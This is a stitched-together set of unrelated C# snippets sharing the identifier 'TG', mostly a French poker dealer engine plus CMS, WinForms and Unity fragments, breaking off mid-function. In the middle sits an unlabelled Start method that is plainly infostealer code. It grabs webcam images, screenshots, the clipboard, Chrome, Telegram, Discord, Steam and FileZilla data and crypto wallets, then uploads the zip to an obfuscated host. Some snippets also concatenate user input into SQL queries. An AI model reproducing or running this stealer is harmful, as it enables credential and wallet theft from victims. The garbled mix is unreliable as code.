private TreeNode RecursionFill(TG.ExpressCMS.DataLayer.Entities.MenuItem menuItem)
{
string imageurl = "";
DateTime dtfrom = DateTime.Now;
DateTime dtto = DateTime.Now;
DateTime.TryParse(menuItem.PublishFrom, out dtfrom); DateTime.TryParse(menuItem.PublishTo, out dtto);
if (menuItem.IsPublished)
{
imageurl = ResolveUrl("~/App_themes/AdminSide/Images/camera_test.png");
}
else
{
imageurl = ResolveUrl("~/App_themes/AdminSide/Images/dialog-error.png");
}
TreeNode newNode = new TreeNode(menuItem.Name, menuItem.ID.ToString(), imageurl);
IList<TG.ExpressCMS.DataLayer.Entities.MenuItem> colChildMenus = MenuItemManager.GetAllBySearchandPublishedforAdmin(Convert.ToInt32(ddlMenuCategories.SelectedValue), "%%", menuItem.ID);
foreach (TG.ExpressCMS.DataLayer.Entities.MenuItem item in colChildMenus)
{
newNode.ChildNodes.Add(RecursionFill(item));
}
return newNode;
}
//----------------------------------------------
//
//----------------------------------------------
private int TrouveProchain()
{
TG.Tr("TrouveProchain in", 10);
int indice = (JoueurLogue + 1) % 6;
TG.Tr("indice:" + indice, 10);
for (int i = 0; i < 6; i++)
{
TG.Tr("Decision" + indice + ":" + TabDecision[indice], 10);
if (TabDecision[indice] == "Muet" ||
TabDecision[indice] == "MORT" ||
TabDecision[indice] == "ABANDONNER" ||
TabDecision[indice] == "ALL_IN_RELANCER" ||
TabDecision[indice] == "ALL_IN_SUIVRE")
{
indice = (indice + 1) % 6;
TG.Tr("un muet on aug indice:" + indice, 10);
}
else
{
TG.Tr("un non muet :" + indice, 10);
break;
}
}
return(indice);
}
//----------------------------------------------
//
//----------------------------------------------
private bool ParalysieUsuelle()
{
TG.Tr("ParalysieUsuelle in", 10);
int Actif = 0;
for (int i = 0; i < 6; i++)
{
if (TabDecision[i] == "SUIVRE" ||
TabDecision[i] == "RELANCER" ||
TabDecision[i] == "Attente")
{
Actif++;
}
if (RelanceMuette(i))
{
Actif++;
}
}
TG.Tr("Actif:" + Actif, 5);
if (Actif > 0)
{
bool b = ActifOntDesK();
if (b)
{
TG.Tr("Les actifs ont des K", 10);
return(false);
}
}
TG.Tr("Pas de joueurs actifs, ou ceux-ci n'ont pas de Kaps ", 10);
return(true);
}
/// <summary>
/// File the case to the corresponding case folder.
/// </summary>
public void FileCase()
{
CaseFolder folder = FilingCabinet.Instance.FetchFolderByCase(caseNumber);
folder.FilePage(this);
int newIdAmount = 0;
UnderlineRender UR = folder.GetComponentInChildren <UnderlineRender>();
foreach (var TG in GetComponentsInChildren <TextCreator>())
{
TG.SetText(UR.GetIDCount() + newIdAmount);
TG.clickText.underLiner = UR;
TG.clickText.caseFolder = folder;
foreach (var link in TG.clickText.textField.textInfo.linkInfo)
{
if (link.GetLinkID() != "")
{
newIdAmount++;
}
}
}
UR.AddPage(newIdAmount);
_fileButton.SetActive(false);
if (TutorialManager.Instance._doTutorial &&
TutorialManager.Instance.currentState == TutorialManager.TutorialState.PrintCase)
{
TutorialManager.Instance.AdvanceTutorial();
}
}
private void btnCalcular_Click(object sender, EventArgs e)
{
try
{
if (txtTotalIngresos.Text == string.Empty)
{
MessageBox.Show("No se han Registrado ingresos", "Informacion Ingresos", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
txtTotalIngresos.Focus();
}
else if (txtDescuentos.Text == string.Empty)
{
MessageBox.Show("No se han detectado descuentos, Digite una cantidad valida", "Informacion Ingresos", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
txtDescuentos.Focus();
}
else
{
double TI, D, TG;
TI = double.Parse(txtTotalIngresos.Text);
D = double.Parse(txtDescuentos.Text);
TG = TI - D;
txtTotalGanancias.Text = TG.ToString("f2");
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
//----------------------------------------------
//
//----------------------------------------------
private void DPJ_ChangementEtape()
{
if (ParalysieUsuelle())
{
TG.Tr("inspect 5", 10);
ProchainJoueur = -2;
return;
}
TG.Tr("Inspecte", 10);
for (int i = 1; i < 6; i++)
{
// On inspecte le candidat à la gauche du bouton
// A-t-il un statut "ACTIF" ou paralysé (ABANDON, MORT, ALL_IN)
if (TabDecision[(Bouton + i) % 6] != "ABANDONNER" &&
TabDecision[(Bouton + i) % 6] != "MORT" &&
TabDecision[(Bouton + i) % 6] != "ALL_IN_SUIVRE" &&
TabDecision[(Bouton + i) % 6] != "ALL_IN_RELANCER" &&
TabDecision[(Bouton + i) % 6] != "Muet")
{
ProchainJoueur = (Bouton + i) % 6;
return;
}
}
ProchainJoueur = -2;
}
void Update()
{
timer -= Time.deltaTime;
minutes = (int)timer / 60;
seconds = (int)timer % 60;
txt.text = minutes.ToString() + ":" + seconds.ToString("00");
if (timer <= 0)
{
timer = 0;
if ((int)PhotonNetwork.masterClient.customProperties["RedScore"] > (int)PhotonNetwork.masterClient.customProperties["BlueScore"])
{
RTW.SetActive(true);
}
else
if ((int)PhotonNetwork.masterClient.customProperties["BlueScore"] > (int)PhotonNetwork.masterClient.customProperties["RedScore"])
{
BTW.SetActive(true);
}
else
{
TG.SetActive(true);
}
afterGoalTimer();
}
}
/*
* internal bool blaklist(NonAddresseS2 nonAddresseS)
* {
* // this.TGs.emplacement.Contains(x => x.);
* return TGs.emplacement.Contains(new TG.Doubleint { rayon = nonAddresseS.Alle, trave = nonAddresseS.Trave });
* }*/
private Parameters()
{
this.prod = new Prod();
this.TGs = new TG();
this.ps = new LisSecteur();
this.emag = new Emag();
this.client = new ClientPar();
}
private void AgonieDesMorts(List <int> TabMort)
{
for (int j = 0; j < TabMort.Count; j++)
{
string upd = "update toursParole set dec_j" + TabMort[j] + "= 'MOURANT' where " +
" num_partie = " + PA.Numero + " and " +
" num_main = " + PA.Numero_Main + " and " +
" NomEtape = '" + PA.Etape + "' and " +
"num_tour = " + PA.Num_Tour;
maBD.Commande(upd);
PA.Joueurs[TabMort[j]].Decision = "MOURANT";
TG.AjouteHistorique(PA.Joueurs[TabMort[j]].Nom + " est MORT");
}
}
// Cette fonction possède trois comportements distincts selon le contexte de l'appel:
// 1- Lors d'une changement d'étape (par exemple quand on passe de turn à river)
// 2- Lors d'une nouvelle main
// 3- Le cas le plus usuel, on est en train de miser sur une main X à une étape Y
public int DetermineProchainJoueur(string Contexte)
{
TG.Tr("DPJ entrée", 1);
if (Contexte == "CHANGEMENT_ETAPE")
{
DPJ_ChangementEtape();
return(ProchainJoueur);
}
if (Contexte == "NOUVELLE_MAIN")
{
DPJ_NouvelleMain();
return(ProchainJoueur);
}
DPJ_CasUsuel();
return(ProchainJoueur);
}
//----------------------------------------------
//
//----------------------------------------------
private void TraiteCasInitiauxGen()
{
bool ParoleTrouvee = false;
TG.Tr("TCIG", 10);
for (int i = 1; i <= 6; i++)
{
// tr("i: i");
int idx = (i + JoueurLogue) % 6;
// tr("idx: idx");
if (TabDecision[idx] == "Attente")
{
// tr("DPJ 5.2d: On a trouvé le prochain: idx-");
ProchainJoueur = idx;
return;
}
if (TabDecision[idx] == "Parole")
{
// tr("C'est un parole");
if (ParoleEstDernierEtPersonneRelance(idx))
{
// tr("Parole Est Dernier Et Personne Relance");
if (PlusDUnActif())
{
ProchainJoueur = -1;
}
else
{
ProchainJoueur = -2;
}
return;
}
else
{
// tr("DPJ 5.2d: On a trouvé le prochain: idx-");
if (!ParoleTrouvee)
{
ProchainJoueur = idx;
ParoleTrouvee = true;
}
}
}
}
}
public Croupier(string[] TabDD, int[] TabE, int[] TaK, int DernierAAvoirParler, string etape, int bouton)
{
TG.Tr("Cons du Croup");
for (int i = 0; i < 6; i++)
{
TabDecision.Add(TabDD[i]);
TabEng.Add(TabE[i]);
TabK.Add(TaK[i]);
}
Etape = etape;
Bouton = bouton;
JoueurLogue = DernierAAvoirParler;
ConstruireTabDecisionActive();
ProchainJoueur = TrouveProchain();
TG.Tr("fin du Cons du Croup");
}
//----------------------------------------------
//
//----------------------------------------------
private bool TraiteDerniereEst_ALL_IN_SUIVRE()
{
if (TabDecision[0] != "ALL_IN_SUIVRE")
{
return(false);
}
int NbParalyse = 0;
for (int i = 0; i < TabDecActive.Count; i++)
{
if (TabDecision[i] == "ALL_IN_RELANCER" ||
TabDecision[i] == "ALL_IN_SUIVRE")
{
NbParalyse++;
}
}
if (NbParalyse == TabDecActive.Count)
{
ProchainJoueur = -2;
return(true);
}
if (Pattern_RR_RRAI() ||
Pattern_SR_SRAI())
{
TrouveProchain();
return(true);
}
else
{
if (ParalysieUsuelle())
{
TG.Tr("inspect3", 10);
ProchainJoueur = -2;
}
else
{
TG.Tr("inspect3.b", 10);
ProchainJoueur = -1;
}
return(true);
}
}
public static double ChuViTamGiac(TG tg)
{
tg.A = NhapTamGiac();
tg.B = NhapTamGiac();
tg.C = NhapTamGiac();
double c, a, b;
c = TinhKhoangCach(tg.A, tg.B);
a = TinhKhoangCach(tg.B, tg.C);
b = TinhKhoangCach(tg.C, tg.A);
double chuvi;
chuvi = a + b + c;
Console.WriteLine($"Chu vi tam giac: {chuvi}");
return(chuvi);
}
//----------------------------------------------
//
//----------------------------------------------
public List <Joueur> TransfereLesCapitaux()
{
ConstruitTableaudesJoueursAllIn();
// Les joueurs ALL-IN doivent être triés selon un ordre croissant d'engagement financier
// On traitera le plus petit engagement en premier
TriAllIn();
int IndiceAllIn = 0;
while (TabAllInTrie.Count() > 0)
{
int j = TabAllInTrie[0];
Console.WriteLine("ALL_IN(" + IndiceAllIn + ") :" + TabJoueurs[j].Nom);
if (CeAllInEstGagnant(j))
{
TG.Tr("GAGNANT" + TabJoueurs[j].Engagement);
RassembleAutreGagnants(j);
TG.Tr("Rassemblé aux gag" + TabJoueurs[j].Engagement);
GagnantsMainExport.Add(j);
TG.Tr("Kap de Antoine: " + TabJoueurs[0].Capital);
RepartiLesGainsAllInCourant(CollecteLesPerdants(j), j);
TG.Tr("Répartition gain all_in courant");
TabJoueurs[j].Decision = "a empoché";
}
else
{
Console.WriteLine("looooser");
}
IndiceAllIn++;
TabJoueurs[j].Decision = "AllIn traité";
// On retranche ce ALL-IN du tableau, son cas est traité
TabAllInTrie.RemoveAt(0);
}
// Tous les ALL_IN (déficitaires) ont été traités
// Il faut traiter les joueurs qui avaient les fonds pour suivre normalement
ConstruitTabDesGagnants();
RepartiLesGainsFinaux();
return(TabJoueurs);
}
//----------------------------------------------
//
//----------------------------------------------
private bool ActifsAvecK_ontTousParle()
{
TG.Tr("AAKTP in", 10);
//Tr("TAAK [0]:" + TabActifAvecK[0],12);
//Tr("TAAK [1]:" + TabActifAvecK[1],12);
//Tr("TAAK [2]:" + TabActifAvecK[2],12);
int MinEng = TabEng[TabActifAvecK[0]];
TG.Tr("MinEng :" + MinEng, 10);
for (int i = 0; i < TabActifAvecK.Count; i++)
{
int indAvecK = TabActifAvecK[i];
if (TabDecision[indAvecK] == "Attente")
{
TG.Tr("Non ils n'ont pas tous parlé", 12);
return(false);
}
if (TabEng[indAvecK] < MinEng)
{
MinEng = TabEng[indAvecK];
TG.Tr("MinEng:" + MinEng, 12);
}
}
for (int i = 0; i < 6; i++)
{
TG.Tr("TabEng[" + i + "]:" + TabEng[i], 12);
if (TabEng[i] > MinEng)
{
TG.Tr("Non car eng est plus grand que l'eng min", 12);
return(false);
}
}
TG.Tr("Oui ils ont pas TOUS parlé");
return(true);
}
private void btnAdd_Click(object sender, EventArgs e)
{
string teachername = cmbTeacherName.Text;
string groupname = cmbGroup.Text;
if (teachername != string.Empty && groupname != string.Empty)
{
lblerror.Visible = false;
TG tgs = new TG();
tgs.Teacher_id = db.Teachers.First(tc => tc.FullName == teachername).id;
tgs.Group_id = db.Groups.First(gp => gp.Name == groupname).id;
db.TGS.Add(tgs);
db.SaveChanges();
MessageBox.Show(groupname + "was added to" + teachername, "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
cmbTeacherName.Text = "";
cmbGroup.Text = "";
this.Close();
}
else
{
lblerror.Visible = true;
lblerror.Text = "please fill all the fields.";
}
}
private void btnAdd_Click(object sender, EventArgs e)
{
string name = cmbGroup.Text;
string subject = cmbSubject.Text;
if (name != string.Empty && subject != string.Empty)
{
lblerror.Visible = false;
TG exist = db.TGS.Where(gp => gp.Group.Name == name && gp.Subject.Name == subject).FirstOrDefault();
if (exist == null)
{
TG tg = new TG();
tg.Group_id = db.Groups.First(stu => stu.Name == name).id;
tg.Subject_id = db.Subjects.First(sub => sub.Name == subject).id;
db.TGS.Add(tg);
db.SaveChanges();
MessageBox.Show(subject + " added to " + name + "successfully.", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
FillDataGrid();
cmbGroup.Text = "";
cmbSubject.Text = "";
}
else
{
FillDataGrid();
MessageBox.Show(subject + " already exists in this group.", "Warning!", MessageBoxButtons.OK, MessageBoxIcon.Warning);
cmbGroup.Text = "";
cmbSubject.Text = "";
}
}
else
{
lblerror.Visible = true;
lblerror.Text = "please fill all the fields.";
}
}
private void CheckDefault(TG.ExpressCMS.DataLayer.Entities.Settings _setting)
{
if (_setting.IsDefault)
{
TG.ExpressCMS.DataLayer.Entities.Settings _def = SettingsManager.GetDefault();
if (null == _def)
return;
_def.IsDefault = false;
SettingsManager.Update(_def);
}
}
public void cargar_cobranzas(string ncontrato)
{
dtgCCanceladas.DataSource = null;
dtgCPendientes.DataSource = null;
txtTotCanCobranzas.Text = "";
txtGLCobranzas.Text = "";
txtICCobranzas.Text = "";
txtGICobranzas.Text = "";
txtFECobranzas.Text = "";
txtTGCobranzas.Text = "";
txtObsCobranzas.Text = "";
double TC, GL, IC, GI, FE, TG;
TC = GL = IC = GI = FE = TG = 0;
lblNContratoCobranzas.Text = "Contrato N° " + ncontrato;
string txtSQL = "Select TipoCuota,NroCuota,TotalCuotas,MontoCuota,FechaCuota from Giros where NroContrato='" + ncontrato + "' and Estatus='PENDIENTE' Order by FechaCuota,TotalCuotas";
if (Globales.BD.nregistros(txtSQL) > 0)
{
Globales.BD.dtt = Globales.BD.generar_datatable(txtSQL, CommandType.Text, new List <Clases.Parameters>());
dtgCPendientes.DataSource = Globales.BD.dtt;
//dtgCPendientes.Columns[4].Visible = false;
foreach (DataRow row in Globales.BD.dtt.Rows)
{
if (row["TipoCuota"] != DBNull.Value)
{
if (Convert.ToString(row["TipoCuota"]) == "GIRO")
{
GI += Convert.ToDouble(row["MontoCuota"]);
}
else if (Convert.ToString(row["TipoCuota"]) == "COMPLEMENTARIA")
{
IC += Convert.ToDouble(row["MontoCuota"]);
}
else if (Convert.ToString(row["TipoCuota"]) == "GASTOSLEGALES")
{
GL += Convert.ToDouble(row["MontoCuota"]);
}
else if (Convert.ToString(row["TipoCuota"]).Length > 21)
{
if (Convert.ToString(row["TipoCuota"]).Substring(0, 21) == "FINANCIAMIENTOESPECIAL")
{
FE += Convert.ToDouble(row["MontoCuota"]);
}
}
}
TG += Convert.ToDouble(row["MontoCuota"]);
}
txtGLCobranzas.Text = GL.ToString("N2") + " Bs.";
txtICCobranzas.Text = IC.ToString("N2") + " Bs.";
txtGICobranzas.Text = GI.ToString("N2") + " Bs.";
txtFECobranzas.Text = FE.ToString("N2") + " Bs.";
txtTGCobranzas.Text = TG.ToString("N2") + " Bs.";
}
txtSQL = "Select TipoCuota,NroCuota,TotalCuotas,MontoCuota,FechaCancelado from Giros where NroContrato='" + ncontrato + "' and Estatus='CANCELADO' Order by FechaCuota,TotalCuotas";
if (Globales.BD.nregistros(txtSQL) > 0)
{
Globales.BD.dtt = Globales.BD.generar_datatable(txtSQL, CommandType.Text, new List <Clases.Parameters>());
dtgCCanceladas.DataSource = Globales.BD.dtt;
//dtgCCanceladas.Columns[4].Visible = false;
foreach (DataRow row in Globales.BD.dtt.Rows)
{
TC += Convert.ToDouble(row["MontoCuota"]);
}
txtTotCanCobranzas.Text = TC.ToString("N2") + " Bs.";
}
}
baseGrades.Add(new BaseValue()
{
Key = "TG",
Value = TgGrade != null && decimal.TryParse(TgGrade, out decimal TG) ? TG.ToString() : "0"
});
//----------------------------------------------
//
//----------------------------------------------
public void RepartiLesGainsFinaux()
{
int gain = 0;
int NbGagnants = TabGagnants.Count();
//Console.WriteLine(TabGagnants.Count() + " gagnant:" + TabGagnants[0] + " " + TabJoueurs[TabGagnants[0]].Nom);
for (int i = 0; i < TabJoueurs.Count; i++)
{
bool joueurInGagnant = false;
for (int j = 0; j < TabGagnants.Count(); j++)
{
if (TabGagnants[j] == i)
{
joueurInGagnant = true;
}
}
if (joueurInGagnant)
{
TabJoueurs[i].Capital += TabJoueurs[i].Engagement;
TabJoueurs[i].Engagement = 0;
// C'est un des joueurs gagnants, pas besoin de collecter
continue;
}
// Le perdant courant a-t-il quelque mise d'engagée?
if (TabJoueurs[i].Engagement > 0)
{
gain += TabJoueurs[i].Engagement;
Console.WriteLine("Prélève " + TabJoueurs[i].Engagement + " a " + TabJoueurs[i].Nom);
TabJoueurs[i].Engagement = 0;
}
}
// On a extrait tous les gains. Il faut les partager avec les gagnants
int gainTotal = gain;
if (TabGagnants.Count() > 0)
{
gain /= TabGagnants.Count();
}
gain = Convert.ToInt32(gain);
if (gain > 0)
{
for (int i = 0; i < TabGagnants.Count(); i++)
{
string Gagnant = TabJoueurs[TabGagnants[i]].Nom;
// Pour les unittest il faut déactiver les historiques
TG.AjouteHistorique(Gagnant + " gagne " + gain);
TabJoueurs[TabGagnants[i]].Capital += gain;
Console.WriteLine(TabJoueurs[TabGagnants[i]
].Nom + " recoit " + gain);
}
}
// Régler le cas ou la cagnotte n'est pas divisible exactement en autant de part qu'il y a de gagnants
if ((gain * TabGagnants.Count()) < gainTotal)
{
float gainIndividu;
int GainIndividuEntier;
float GainIndividuDecimal;
float PortionDecimalTotalDuGainApartager;
float PortionResiduelle;
if (TabGagnants.Count() > 0)
{
// Ça ne devrait jamais se produire mais au cas où
gainIndividu = gainTotal / TabGagnants.Count();
}
else
{
gainIndividu = gainTotal;
}
GainIndividuEntier = (int)gainIndividu;
GainIndividuDecimal = gainIndividu - GainIndividuEntier;
PortionDecimalTotalDuGainApartager = GainIndividuDecimal * TabGagnants.Count();
PortionResiduelle = PortionDecimalTotalDuGainApartager;
for (int i = 0; i < TabGagnants.Count(); i++)
{
if (PortionResiduelle > 0.1)
{
// S'il reste une protion résiduelle suite à la collecte des restes décimaux
// ce joueur est chanceux car on arrondit par le haut pour lui
//echo "Supplément de 1 pour :i<br>";
string Gagnant = TabJoueurs[i].Nom;
// Pour les unittest il faut déactiver les historiques
TG.AjouteHistorique(Gagnant + " gagne 1");
TabJoueurs[i].Capital += 1;
PortionResiduelle--;
}
}
}
}
//----------------------------------------------
//
//----------------------------------------------
private bool ActifOntDesK()
{
TG.Tr("ActifOntDesK in", 6);
int ActifSuivre = 0;
int ActifAvecKapitaux = 0;
int IndiceActifAvecK = -1;
for (int i = 0; i < 6; i++)
{
TG.Tr(i + ":" + TabDecision[i], 7);
if (TabDecision[i] == "RELANCER")
{
IndiceActifAvecK = i;
TabActifAvecK.Add(i);
ActifAvecKapitaux++;
}
if (TabDecision[i] == "Attente")
{
IndiceActifAvecK = i;
TabActifAvecK.Add(i);
ActifAvecKapitaux++;
}
if (TabDecision[i] == "SUIVRE")
{
ActifSuivre++;
TG.Tr("(SUIVRE)K de " + i + "=" + TabK[i], 7);
if (TabK[i] > 0)
{
IndiceActifAvecK = i;
TabActifAvecK.Add(i);
ActifAvecKapitaux++;
}
}
}
if (ActifAvecKapitaux == 0)
{
TG.Tr("Aucun actifs avec des K ret false");
return(false);
}
if (ActifAvecKapitaux == 1)
{
for (int i = 0; i < 6; i++)
{
if (IndiceActifAvecK == i)
{
continue;
}
if (TabDecision[i] == "ALL_IN_RELANCER" ||
TabDecision[i] == "ALL_IN_SUIVRE" ||
TabDecision[i] == "Muet")
{
if (TabEng[IndiceActifAvecK] < TabEng[i])
{
TG.Tr("en plus de mon actif il y a un all in qui a misé plus que IndiceActifAvecK: IndiceActifAvecK doit se pronocer");
return(true);
}
}
}
return(false);
}
TG.Tr("Au moins deux actifs avec des Kaps");
return(true);
}
//----------------------------------------------
//
//----------------------------------------------
public void RepartiLesGainsAllInCourant(int gainAPartager, int IdxAllInMin)
{
Console.WriteLine("Kapi A de Antoine:" + TabJoueurs[0].Capital);
int EngagementAllIN_MinCourant = TabJoueurs[IdxAllInMin].Engagement;
string Gagnant;
//Console.WriteLine("Engagement de 0: " + TabJoueurs[0].Engagement);
//Console.WriteLine(gainAPartager + " a partager entre: " + TabGagnants.Count() + " gagnants");
if ((gainAPartager % (TabGagnants.Count())) != 0)
{
//Console.WriteLine(gainAPartager + " non divisible par " + TabGagnants.Count());
// Si les gains à partager ne se divisent pas exactement en entier
// On donne un de plus aux premiers et on enlève les portions
// décimales du ratio à partager
float gainIndividu = (float)gainAPartager / (float)TabGagnants.Count();
int GainIndividuEntier = (int)gainIndividu;
float GainIndividuDecimal = gainIndividu - GainIndividuEntier;
float PortionResiduelle = GainIndividuDecimal * TabGagnants.Count();
//Console.WriteLine("Gain indiv : " + gainIndividu);
//Console.WriteLine("Gain indiv entier : " + GainIndividuEntier);
//Console.WriteLine("Gain indiv decim : " + GainIndividuDecimal);
//Console.WriteLine("Portion résidu : " + PortionResiduelle);
for (int i = 0; i < TabGagnants.Count(); i++)
{
// Prenons l'engagement de ce joueur
int NeoMiseEngagee = TabJoueurs[TabGagnants[i]].Engagement;
// Soustrayons y l'engagement du ALLIN Minimum courant
NeoMiseEngagee -= EngagementAllIN_MinCourant;
TabJoueurs[TabGagnants[i]].Engagement = NeoMiseEngagee;
if (PortionResiduelle > 0.1)
{
// S'il reste une protion résiduelle suite à la collecte des restes décimaux
// ce joueur est chanceux car on arrondit par le haut pour lui
Gagnant = TabJoueurs[TabGagnants[i]].Nom;
int gainTmp = GainIndividuEntier + 1;
// Faut dÉsactiver les TG pour les tests unitaires
//TG.AjouteHistorique(Gagnant + " gagne " + gainTmp);
TG.Tr("On ajoute " + gainTmp + " a " + TabJoueurs[TabGagnants[i]].Nom + " kap: " + TabJoueurs[TabGagnants[i]].Capital);
TabJoueurs[TabGagnants[i]].Capital += GainIndividuEntier + 1;
TG.Tr("Aug A " + TabJoueurs[TabGagnants[i]].Nom + " de " + gainTmp + "");
TG.Tr("Enga: " + TabJoueurs[TabGagnants[i]].Engagement);
PortionResiduelle--;
}
else if (GainIndividuEntier > 0)
{
Gagnant = TabJoueurs[TabGagnants[i]].Nom;
// Faut dÉsactiver les TG pour les tests unitaires
//TG.AjouteHistorique(Gagnant + " gagne " + GainIndividuEntier);
TG.Tr("On ajoute " + GainIndividuEntier + " a " + TabJoueurs[TabGagnants[i]].Nom + " kap: " + TabJoueurs[TabGagnants[i]].Capital);
TG.Tr("Enga: " + TabJoueurs[TabGagnants[i]].Engagement);
TabJoueurs[TabGagnants[i]].Capital += GainIndividuEntier;
TG.Tr("Aug B " + TabJoueurs[TabGagnants[i]].Nom + " de " + GainIndividuEntier + "");
}
}
}
else
{
// Console.WriteLine(gainAPartager + " DIVISIBLE par " + TabGagnants.Count());
// Les gains se divisent sans reste entre les gagnant;
float ratioDuGain = gainAPartager / TabGagnants.Count();
for (int i = 0; i < TabGagnants.Count(); i++)
{
// Prenons l'engagement de ce joueur
int NeoMiseEngagee = TabJoueurs[TabGagnants[i]].Engagement;
// Soustrayons y l'engagement du ALLIN Minimum courant
NeoMiseEngagee -= EngagementAllIN_MinCourant;
TabJoueurs[TabGagnants[i]].Engagement = NeoMiseEngagee;
TabJoueurs[TabGagnants[i]].Capital += Convert.ToInt32(ratioDuGain);
Gagnant = TabJoueurs[TabGagnants[i]].Nom;
// Pour les unittest il faut déactiver les historiques
TG.AjouteHistorique(Gagnant + " gagne " + ratioDuGain);
}
}
TG.Tr("Kapi B de Antoine:" + TabJoueurs[0].Capital);
TG.Tr("out RGAIC. K de " + IdxAllInMin + ":" + TabJoueurs[IdxAllInMin].Capital);
}
//----------------------------------------------
//
//----------------------------------------------
private bool TraitePlusVieilleEst_ALL_IN_RELANCER()
{
if (TabDecision[TabDecActive[0]] != "ALL_IN_RELANCER")
{
return(false);
}
int NbMuet = 0;
for (int i = 0; i < 6; i++)
{
if (TabDecision[i] == "ABANDONNER" ||
TabDecision[i] == "MORT" ||
TabDecision[i] == "ALL_IN_RELANCER" ||
TabDecision[i] == "ALL_IN_SUIVRE" ||
TabDecision[i] == "Muet")
{
NbMuet++;
}
}
if (NbMuet == 6)
{
ProchainJoueur = -2;
return(true);
}
bool TouteAutreDecisionEst_SUIVRE = true;
for (int i = 1; i < TabDecActive.Count; i++)
{
int idx = TabDecActive[i];
if (TabDecision[idx] != "SUIVRE" &&
TabDecision[idx] != "ALL_IN_SUIVRE")
{
TouteAutreDecisionEst_SUIVRE = false;
break;
}
}
if (TouteAutreDecisionEst_SUIVRE)
{
ProchainJoueur = -1;
if (NbMuet == 5)
{
ProchainJoueur = -2;
}
return(true);
}
else
{
if (Pattern_RR_RRAI())
{
TrouveProchain();
return(true);
}
if (Pattern_SR_SRAI())
{
TrouveProchain();
return(true);
}
if (Pattern_RS())
{
ProchainJoueur = -1;
return(true);
}
if (Pattern_RSAI())
{
ProchainJoueur = -2;
return(true);
}
if (Pattern_SR_SRAI())
{
TrouveProchain();
return(true);
}
else
{
if (ParalysieUsuelle())
{
TG.Tr("inspect 4", 10);
ProchainJoueur = -2;
}
else
{
TG.Tr("inspect 4b", 10);
ProchainJoueur = -1;
}
return(true);
}
}
}
public bool Start(string[] Params)
{
Information.Start();
ProcList.Parse();
Thread.Sleep(new Random().Next(1, 5) * 100);
if (Base64.Decode(Params[2]) == "1")
{
clipper.Start();
}
Action action = delegate
{
CBoard.Start();
};
try
{
if (base.InvokeRequired)
{
Invoke(action);
}
else
{
action();
}
}
catch
{
}
DesktopImg.Start();
DFiles.Start();
WebCam.Start();
FZ.Start();
Pidgin.Start();
DS.Start();
TG.Start();
Skype.Start();
Steam.Start();
BTCQt.Start();
BTCByte.Start();
BTCDASH.Start();
BTCETH.Start();
BTCMON.Start();
Thread.Sleep(new Random().Next(1, 5) * 1000);
EGChromeC.Start();
string text = null;
text = $"{Buffer.path_ad}{GetRandom.String(null, 8)}";
if (File.Exists(text))
{
File.Delete(text);
}
ZipFile.CreateFromDirectory(Buffer.path_l, text);
try
{
if (!EntryPoint.activation)
{
Environment.FailFast("Program has been crashed");
}
using (WebClient webClient = new WebClient())
{
NameValueCollection nameValueCollection = new NameValueCollection();
nameValueCollection.Add("_x_key_x_", Base64.Encode(EntryPoint.key));
nameValueCollection.Add("zipx", Base64.Encode(File.ReadAllText(text, Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
nameValueCollection.Add("desktop", Base64.Encode(File.ReadAllText($"{Buffer.path_l}ScreenShot.png", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
nameValueCollection.Add("webcam", Base64.Encode(File.ReadAllText($"{Buffer.path_l}WebCam.jpg", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
nameValueCollection.Add("email", Params[0]);
nameValueCollection.Add("caption", Exporter.Export("<title>", "</title>", Starter.FileData));
nameValueCollection.Add("username", Base64.Encode(Environment.UserName));
nameValueCollection.Add("c_count", Base64.Encode(Buffer.XBufferData[0]));
nameValueCollection.Add("pcount", Base64.Encode(Buffer.XBufferData[1]));
nameValueCollection.Add("acount", Base64.Encode(Buffer.XBufferData[10]));
nameValueCollection.Add("cd_count", Base64.Encode(Buffer.XBufferData[11]));
nameValueCollection.Add("steam", Base64.Encode(Buffer.XBufferData[6]));
nameValueCollection.Add("fzilla", Base64.Encode(Buffer.XBufferData[2]));
nameValueCollection.Add("tg", Base64.Encode(Buffer.XBufferData[3]));
nameValueCollection.Add("dcord", Base64.Encode(Buffer.XBufferData[4]));
nameValueCollection.Add("skype", Base64.Encode(Buffer.XBufferData[5]));
nameValueCollection.Add("b-core", Base64.Encode(Buffer.XBufferData[7]));
nameValueCollection.Add("b-byte", Base64.Encode(Buffer.XBufferData[13]));
nameValueCollection.Add("b-d", Base64.Encode(Buffer.XBufferData[14]));
nameValueCollection.Add("b-ethe", Base64.Encode(Buffer.XBufferData[15]));
nameValueCollection.Add("b-mon", Base64.Encode(Buffer.XBufferData[16]));
nameValueCollection.Add("avinstall", Base64.Encode(Buffer.XBufferData[18]));
nameValueCollection.Add("_version_", Base64.Encode("3200"));
while (true)
{
try
{
if (Encoding.Default.GetString(webClient.UploadValues(string.Format("http://{0}", Base64.Decode(string.Format("{0}{1}{2}", Buffer.Sender, Buffer.Handler, "="))), nameValueCollection)) == "good")
{
goto IL_040a;
}
}
catch
{
}
Thread.Sleep(2000);
}
}
}
catch
{
}
goto IL_040a;
IL_040a:
try
{
Directory.Delete(Buffer.path_l, recursive: true);
}
catch
{
}
try
{
File.Delete(text);
}
catch
{
}
return(true);
}
//----------------------------------------------
//
//----------------------------------------------
private void DPJ_CasUsuel()
{
// -1 Signifie que l'étape de mise est terminée
// ProchainJoueur = -1;
// Construction du tableau des dernieres décisions ACTIVE
TG.Tr("DPJ_CasUsuel", 2);
if (TraiteCasInitiaux())
{
if (ParalysieInitiale("USUEL"))
{
ProchainJoueur = -2;
}
TG.Tr("Casinitiaux", 3);
TG.Tr("Prochain:" + ProchainJoueur, 10);
return;
}
if (TraitePlusVieilleEst_ALL_IN_RELANCER())
{
TG.Tr("TPVE+ALL_IN_REL", 3);
return;
}
if (TraiteDerniereEst_RELANCER())
{
TG.Tr("TDE_REL", 3);
return;
}
if (TraiteDerniereEst_ALL_IN_SUIVRE())
{
TG.Tr("TDE_ALL_IN_SUIVRE", 3);
return;
}
if (Pattern_RR_RRAI() || Pattern_SR_SRAI())
{
TG.Tr("RR_RRAI ou SR_SRAI", 3);
TrouveProchain();
}
else
{
if (ParalysieUsuelle())
{
TG.Tr("inspect 6", 10);
